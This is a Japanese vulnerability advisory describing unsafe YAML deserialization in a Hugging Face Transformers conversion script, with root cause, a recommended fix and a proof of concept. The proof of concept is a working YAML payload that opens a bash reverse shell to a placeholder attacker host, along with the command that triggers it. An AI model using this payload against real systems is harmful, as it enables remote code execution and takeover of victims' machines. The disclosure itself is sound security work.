
脆弱性の概要と影響:
この脆弱性により、攻撃者は悪意のある設定ファイルをHugging Face Transformersリポジトリの convert_mlcvnets_to_pytorch.py スクリプトに提供することで、ホストマシン上で任意のコードを実行できます。
見知らぬユーザーが悪意のある設定ファイルを伴うサードパーティモデルを使用し、convert_mlcvnets_to_pytorch.py スクリプトを実行すると、被害者のシステム上でリモートコード実行 (RCE) が発生します。
脆弱性のある製品
根本原因分析
脆弱性の詳細な説明: この脆弱性は、信頼できないデータの安全でないデシリアライゼーションに起因します。スクリプトはローダー FullLoader を使用した yaml.load 関数を利用しており、これは完全なYAML言語を読み込み、コード実行に対して脆弱です。
入力から脆弱な状態に至るコードフロー:
ml-cvnet モデルをダウンロードします。convert_mlcvnets_to_pytorch.py スクリプトを実行し、設定ファイルを渡します。convert_mlcvnets_to_pytorch.py スクリプトは設定ファイルをデシリアライズし、悪意のあるコードを実行します。インジェクションポイント: 脆弱性は、yaml.load(yaml_file, Loader=yaml.FullLoader) が呼び出される箇所で発生します。
GitHub Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
推奨される修正: yaml.load(yaml_file, Loader=yaml.FullLoader) を yaml.safe_load(yaml_file) に置き換えて、任意コードの実行を防止します。
概念実証を実行する手順:
transformers_exploit.yaml を作成します:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py スクリプトを実行し、--orig_config_path に transformers_exploit.yaml ファイルを渡します:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
注: dummy_checkpoint.pt は空のファイルのままにでき、dummy_output は空のディレクトリ、task はスクリプトに記載されているオプションのいずれかを使用できます。
ソフトウェアダウンロードリンク: https://github.com/huggingface/transformers/tree/main